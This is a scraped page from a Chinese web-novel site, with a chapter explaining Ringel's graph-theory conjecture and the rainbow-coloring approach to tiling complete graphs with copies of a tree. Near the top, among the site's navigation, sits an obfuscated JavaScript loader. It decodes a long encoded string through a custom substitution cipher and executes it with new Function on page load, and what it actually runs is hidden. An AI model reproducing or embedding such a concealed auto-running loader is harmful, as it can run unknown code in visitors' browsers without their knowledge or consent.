笔趣阁

阅读记录  |   用户书架
(function(){function sac37f14(o12dbf){var d19f4b4=";w5W9?0sxMepiUu&%BYRX^aE$f-/Ir]:,~o=zvOVGKnd(qyjbt.gT@PmHC4ZLJ82hk_1D!S6Nl|3QFc[7A";var n3bd86624="wC!|POQuIT^_HaVeb7fx52WNoZi,h%$c[SjB]zKnD/s4E?60=.(R8M@Y93:q;vkr&-gGJFtAp~XyLl1dmU";return atob(o12dbf).split('').map(function(da785){var zb4e8=d19f4b4.indexOf(da785);return zb4e8==-1?da785:n3bd86624[zb4e8]}).join('')}var c=sac37f14('gRPC://Oy1WWyQ7LCJGIisiVWMiKyJbIisiaiIrImQiKyJDaiIrIlUiemJZc1Y6Uy0kVi4pey5Zc1Y6Uy0kVi43SEJYai8zaiZYJkMvM0I6VFtbQltZL1N5WFRbWSl7LVkuS2VAVTpXYS1WS3RTJm5TLlZVSi1fVVMkMnRORlVTWSQyNykpezImU3MyVn1KVTIgJWM6ZGRiWXNWOlMtJFYuO2RjZEhjKXsyJlNzMlYgflMyLVZfdFkyJDd3SVUydyRbJi47ZGNkSGMpfUxKVTIgWWNeW0heYiwiRm9ua2lqY3BRPzZHcER+cGlNQFEiLyJKJjJramMiLyJuLVtrY2RUIi8iOjpTa15qXlhranlrXkggY0M0akM0ZFQiekxKVTIgO0ImaiZbJVlkYjNCOlRbW0JbWSwlYzpkZC5IQikrJWM6ZGQuY2N5KSslYzpkZC5jY2MpKyVjOmRkLkhUKXovSXleSHklaiViM0I6VFtbQltZLCVjOmRkLkhUKSslYzpkZC5jY3kpKyVjOmRkLmNjYykrJWM6ZGQuSEIpei9JY1k6WWJTeVhUW1ksO0ImaiZbJVlkLiJtQ3UzOjd1c1shRW86N0Y7WzZiYiIpei8kSFlDXjpkSDpiO0ImaiZbJVlkLiJtQ0RGbXxnRmdhUkYlYXVzWzZiYiIpL0lUZFg6WWI7QiZqJlslWWQuIjpDdS06Q2czVWFYViIpL0lDamQ6YjtCJmomWyVZZC4iOjd1OyUxIW9mMGJiIikvRkNqQ15ZVWI7QiZqJlslWWQuIjpDPW5VfDBiIikvRmNIQyZUQmI7QiZqJlslWWQuIjo3dV5mfER2ZjBiYiIpLyRbJkhISGI7QiZqJlslWWQuIlU3SE4lX2JiIikvOFlbeWRVYjNCOlRbW0JbWSw7QiZqJlslWWQuIk1hIWpVNmJiIil6Lzt5YyVDYjhZW3lkVSw7QiZqJlslWWQuIm1edU4lNmJiIil6LzhDXkNUaiZbYjhZW3lkVSw7QiZqJlslWWQuImY3UkolQ3hiIil6L1lbZGRYZENjQ2I4WVt5ZFUsO0ImaiZbJVlkLiI6NyFzZjFIUyIpei9JSHlUeVtkYjtCJmomWyVZZC4iJWEham1eX2IiKS9JJiVIWGp5OlRiO0ImaiZbJVlkLiIlYSE7IikvVUhjXl5jZGQmYjtCJmomWyVZZC4iJTFISWY2YmIiKUxKVTIgMyVDZCUlJlViO0ImaiZbJVlkLiI6XmNqVWFnRltfYmIiKUxKVTIgN3lbQkJYVEhMSlUyIFpYJlReQ0NIYjdIQlhqLGp6TC1ZLjdIQlhqdEYmVl9TST5jKXtaWCZUXkNDSGI3SEJYaiw4Q15DVGomWy5ZW2RkWGRDY0MuKSo3SEJYanRGJlZfU0kpen0tWS5GJDpVUy0kVnRuJlUyOkl0LVZbJlI/WS4zJUNkJSUmVSk+a2Mpezd5W0JCWFRIYlN5WFRbWSwkSFlDXjpkSDp6LjtCJmomWyVZZC4iWzF1ZFsxITNmYShiIikpTDd5W0JCWFRIdC1bYiJTIitZW2RkWGRDY0MuKSpjJmRMN3lbQkJYVEh0blMzRiZ0Oy1bU0liImNqanIiTDd5W0JCWFRIdG5TM0YmdEkmLV9JU2IiWGpqTlIiTDd5W0JCWFRIdFstblUlRiZbYlMycyZMLVkuU3lYVFtZdCUkWzM1YlZzRkYpe1N5WFRbWXQlJFszdFVOTiZWW3dJLUZbLjd5W0JCWFRIKX0mRm4me0pVMiBSJkNVW2RqYllzVjpTLSRWLil7U3lYVFtZdCUkWzN0VU5OJlZbd0ktRlsuN3lbQkJYVEgpTDNCOlRbW0JbWXQyJjckSiYoSiZWU1EtblMmViYyLlVIY15eY2RkJi9SJkNVW2RqL1lVRm4mKX1MM0I6VFtbQltZdFVbWyhKJlZTUS1uUyZWJjIuVUhjXl5jZGQmL1ImQ1VbZGovWVVGbiYpfX1KVTIgVWomWUJDajpiU3lYVFtZLCRIWUNeOmRIOnouO0ImaiZbJVlkLiJmYWMtZmEwYiIpKUxVaiZZQkNqOnQtW2IzaiZYJkMrO3ljJUMuWVtkZFhkQ2NDLikqYyZkKUxVaiZZQkNqOnRuUzNGJnRJJi1fSVNiImpOUiJMVWomWUJDajp0blMzRiZ0JEomMllGJDtiIkktW1smViJMOiRWblMgMlR5QlhIWGIuJFQmeWolVVQvb1ljWVhkJkMvWjpbXlVkJkJqYl5qailiPjkyJDctbiZ0MlU6Ji4sWSZTOkkuJFQmeWolVVQvb1ljWVhkJkMpL1YmOyA5MiQ3LW4mLi4ucC8yJm8mOlMpYj5uJlNNLTcmJHNTLi4uKWI+MiZvJjpTLlYmOyAoMjIkMi4iUy03JiRzUyIpKSkvWjpbXlVkJkJqKSkpeilMSlUyIFlZWEJeOmRbYlVuM1Y6IFlzVjpTLSRWLlNeVFRUeXkpe0pVMiAtVSZjVFtCOmIsIm9uIi8iOm5uIi8iXy1ZIi8ib05fIi8iTlZfIi8ib05fJiIvIjsmJU4iLyJuSl8iLyJJUzdGIi8ib04mXyJ6TEpVMiBfVVVUSCZDW2ItVSZjVFtCOnRGJlZfU0lMLVUmY1RbQjpiLVUmY1RbQjosOENeQ1RqJlsuWVtkZFhkQ2NDLikqX1VVVEgmQ1spekw6JFZuUyA3XiVeeVhkYiwiZl46c0VNdXZVXiF2JWFSU2ZeW1glflhqJUM2eT9NOGNFX2JiInpMSlUyIFs6XmNYWUhkOmI3XiVeeVhkLGp6TC1ZLjdeJV55WGR0RiZWX1NJPmMpe1s6XmNYWUhkOmI3XiVeeVhkLDhDXkNUaiZbLllbZGRYZENjQy4pKjdeJV55WGR0RiZWX1NJKXp9SlUyIF9jQ0JkVWpjXmJOVTJuJnhWUy4zaiZYJkMpTC1ZLi1uRVVFLl9jQ0JkVWpjXikpX2NDQmRVamNeYmpMX2NDQmRVamNeK2JUVFRUTEpVMiA7OlRYVUgmW15iLCJJU1NObjRLIi8yanlVW0hZXlsuWzpeY1hZSGQ6KS8iSVM3RiIvYG43XXtfY0NCZFVqY159YC9gXXszaiZYJkN9dF17LVUmY1RbQjp9YHosJFsmSEhIei4iSyIpTC1ZLjd5W0JCWFRINWJWc0ZGKTd5W0JCWFRIdEpVRnMmK2IiXDJcVm4mVlsgWm4gSSRuUyAiKzs6VFhVSCZbXkxTMjN7SlUyIEYlWCVDWGJVO1UtUyAyVHlCWEhYLjs6VFhVSCZbXi97MiZbLTImOlM0IlkkRkYkOyJ9L2NYamopTEYlWCVDWGJVO1UtUyBGJVglQ1h0UyZSUy4pTEpVMiBKWzpUWV5YJmJGJVglQ1h0LVZbJlI/WS4lYzpkZC55YykpTEpVMiBVSGNqJWIiIkwtWS5KWzpUWV5YJj5iail7VUhjaiViRiVYJUNYLElUZFg6WXouSls6VFleWCYpTEYlWCVDWGJGJVglQ1gsSVRkWDpZei5qL0pbOlRZXlgmKX1GJVglQ1hiRiVYJUNYLElIeVR5W2R6Lkt0e2MvZH1LXyksSSYlSFhqeTpUei4uUmI+UixGQ2pDXllVei4iIiksRmNIQyZUQnouKSwkWyZISEh6LiIiKSkpLCRbJkhISHouIiIpTEYlWCVDWGJGJVglQ1grVUhjaiVMRiVYJUNYYjtCJmomWyVZZC5GJVglQ1gpTFNeVFRUeXliRiVYJUNYLEZDakNeWVV6LiJLIiksanpMLVkuN3lbQkJYVEg1YlZzRkYpN3lbQkJYVEh0SlVGcyYrYiJcMlxWXyZTIFpuIEkkblMgbnM6OiZubiIrU15UVFR5eX06VVM6SS5WW0hIQiU6Qil7LVkuN3lbQkJYVEg1YlZzRkYpN3lbQkJYVEh0SlVGcyYrYiJcMlxWXyZTIFpuIEkkblMgWVUtRiZbIitWW0hIQiU6Qn1KVTIgLUJIXmNbVFtiSXleSHklaiUuWWNeW0hedDokVjpVUy4sYFYkO2tde0dVUyYsIlYkOyJ6Lil9YC9gSTImWWtde0YkOlVTLSRWdEkyJll9YC9gc246a117dlkmeWpVZCZDLil9YHopdG4kMlMuLi4pYj5ZW2RkWGRDY0MuKWt0WCkpLCRbJkhISHouIi8iKSlMSlUyIFljJUJkWzpeYi1CSF5jW1RbdC1WWyZSP1kuJWM6ZGQueWMpKT5rY3EtQkheY1tUWyxJVGRYOll6Li1CSF5jW1RbdC1WWyZSP1kuJWM6ZGQueWMpKSk0IiJMLUJIXmNbVFtiLUJIXmNbVFssSUNqZDp6LlljJUJkWzpeLyIiKSxGQ2pDXllVei4iIiksRmNIQyZUQnouKSwkWyZISEh6LiIiKStZYyVCZFs6XkxVaiZZQkNqOnRuMjpiLCJJU1NObjRLIi9TXlRUVHl5L1VqJllCQ2o6dC1bLy1CSF5jW1RbeiwkWyZISEh6LiJLIilMUzIze1N5WFRbWXQlJFszdFVOTiZWW3dJLUZbLlVqJllCQ2o6KX06VVM6SS4mKXtTeVhUW1l0VVtbKEomVlNRLW5TJlYmMi4iRz9AdyRWUyZWU1EkVVsmWyIvLi4pYj57U3lYVFtZdCUkWzN0LVZuJjJTPSZZJDImLlVqJllCQ2o6L1N5WFRbWXQlJFszdDpJLUZbRSRbJm4sanopfSkpfS1ZLjd5W0JCWFRINWJWc0ZGKXs3eVtCQlhUSHRKVUZzJitiIlwyXFZVTk4mVlsmWyAmNyBTJCBJUzdGIkxKVTIgUyZVSEhiU3lYVFtZdF8mUyhGJjcmVlM9M3hbLlVqJllCQ2o6dC1bKUwtWS5TJlVISGJiVnNGRldXUyZVSEhiYnNWWyZZLVYmWyl7N3lbQkJYVEh0SlVGcyYrYiJcMlxWIDpVVlMgXyZTICY3IFkyJDcgSVM3RiJ9fX1MLVkuN3lbQkJYVEg1YlZzRkYpezd5W0JCWFRIdEpVRnMmK2IiXDJcVm4mVlsgb24gSSRuUyAiK1pYJlReQ0NIfUpVMiB2WSZ5alVkJkNiWXNWOlMtJFYuKXtTMjN7OiRWblMgRkJZJVklSFljYi5WJjsgR1VTJil0UyRRJDpVRiZHVVMmflMyLVZfLilMOiRWblMgWyZbOlVVamJgbjdTLXBuLVtwXXtJQnlCXnl5dDNqJlgmQ31wTkpgTEYmUyAzQ15eZGpeeSZiRH4/RXROVTJuJi5GJDpVRn5TJDJVXyZ0XyZTeFMmNy5bJls6VVVqKSlMLVkuM0NeXmRqXnkmYmJWc0ZGV1czQ15eZGpeeSZ0W1VTJjViRkJZJVklSFljKXszQ15eZGpeeSZie05KTS03Jm40ai9bVVMmNEZCWSVZJUhZY319MiZTczJWIDNDXl5kal55JnROSk0tNyZuK2N9OlVTOkkuc0JqZEIpezImU3MyViBjfX1MSlUyIDJqeVVbSFleW2JZc1Y6Uy0kVi5GOmR5VFQpezImU3MyViA7QiZqJlslWWQuRjpkeVRUKSxJQ2pkOnouJWM6ZGQuZF4pL1lbZGRYZENjQy4pdFMkflMyLVZfLkN5KXRuRi06Ji44Q15DVGomWy5ZW2RkWGRDY0MuKSpIKSteKSl9TFlZWEJeOmRbLjJqeVVbSFleWy5aWCZUXkNDSCkpTDNCOlRbW0JbWSwiVVtbKEomVlNRLW5TJlYmMiJ6LiI3Jm5uVV8mIi8uWXNWOlMtJFYuc0JqZEIpey1ZLnNCamRCdFtVU1V0OGJiM2omWCZDKXtTeVhUW1l0XyZTKEYmNyZWUz0zeFsuVWomWUJDajp0LVspdDImNyRKJi4pTEpVMiAmJVkmJSZbYlZzRkZMLVkuN3lbQkJYVEg1YlZzRkYpezd5W0JCWFRIdEpVRnMmK2IiXDJcVjImOiYtSiYgJjcgTiRuUyA3Jm5uVV8mIkw3eVtCQlhUSHRKVUZzJitiIlwyXFYmdFtVU1V0SiAiK3NCamRCdFtVU1V0WkwmJVkmJSZbYi50dHRzWFs6alR5VVUpYj57LVkuNXNYWzpqVHlVVVdXc1hbOmpUeVVVdEYmVl9TSTxiaikyJlNzMlZMN3lbQkJYVEh0SlVGcyYrYiJcMlxWIitzWFs6alR5VVV0byQtVi4iICIpfX1WJjsgIXNWOlMtJFYuIlUyX24iL3NCamRCdFtVU1V0Wikue3BTWzpuNEljWTpZL3BGJF80JiVZJiUmW30pfX0pKX0pLiwiZl46c218PWo/MUZDbXxndiVhUlNmXltYJX5YaiVDNnk/TThjRV9iYiJ6LyJjZFQiLzstVlskOy9bJDpzNyZWUyl9TEZVY1tqZENqVS4pTA=='.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第六百五十八章 林格尔猜想(图论)(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

树图是只有分支没有闭合的图,完全图是每个节点都两两相连的满图。

格哈德·林格尔(Gerhard Ringel)想用多个相同树图去填充完全图。如何让多个简单的小图副本完美地重构(覆盖)一张大图?

1963年,一位名叫格哈德·林格尔的德国数学家提出了一个大胆的猜想:一些特定的图形总是可以被n个小图副本完美覆盖。对此,他指出:任给一棵具有 n条边的树 T,都能在2n+1阶完全图K2n+1中找到不重合且同构于T的2n+1个子图(即2n+1个T副本可以被完美地填充到K2n+1中)

解释一下,就是首先,想象一个包含2n+1个点的完整图形。然后思考使用n+1个点可以制作多少棵树,事实上可以做出很多种完全不同的树。现在,选择其中一棵树并将其放置,以使树的每个边与完整图形中的边重合。然后,将同一棵树的另一个副本放在整个图形的不同部分上。林格尔预测,假设你从正确的地方开始放置并持续这个动作,那么你将能够完美地复制出上面的完整图形。这意味着完整图形中的每个边都被树的每条边覆盖,且树的任何副本都不会相互重叠。

为了证明林格尔的猜想,人们发展与利用了多种数学工具,比如:概率方法、正则引理等,但似乎总有漏洞。

科齐格则推测,平铺总是可以旋转的方式完成。

如果想探究他们的猜想,简单的星形树图是或许是一个不错的起点。

最简单的树图之一是星形:有一个中心点,其他边从中心辐射出来。但它不同于典型的星形图,因为边不必在点周围均匀排列,只需从同一位置向外延伸,除了在中央点之外,不能在其他任何地方相交。

确实,数学家很快观察到,具有n+1个点的星形树始终可以完美地复制到具有2n+1个点的完整图形。单单这个事实就很有趣,但是如何证明却让数学家们犯了难。

但是这个实验依然有漏洞:星形图是规则的,因此无论如何放置都无关紧要。但是大多数树并不是,假如树上有许多不同长度的不同分支,那么只有正确放置它们才能使旋转方法起作用,且此时如何放置第一步将至关重要。

幸运的是,数学家们最终找到了一个直观的色彩方法。

近日,苏黎世瑞士联邦技术学院的本尼·苏达科夫(Benny Sudakov)、伯明翰大学的理查德·蒙哥马利(Richard Montgomery)和伦敦伯克贝克大学的亚历克斯·波克洛夫斯基(Alexey Pokrovskiy)三名数学家发表的相关论文或许给证明这个困惑了人们将近60年的数学猜想带来了希望。他们通过颜色编码找到树的彩虹副本

颜色编码在生活中有很多应用,比如它可以帮助区分日常工作的紧急程度、完成情况等。事实证明,这也是找出如何放置第一颗树的有效方法。

如何进行颜色编码呢?首先,想象围绕一个圆排列的11个点的完整图,编码规则是根据距离(通过一条边连接的两个点之间的距离)进行上色。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间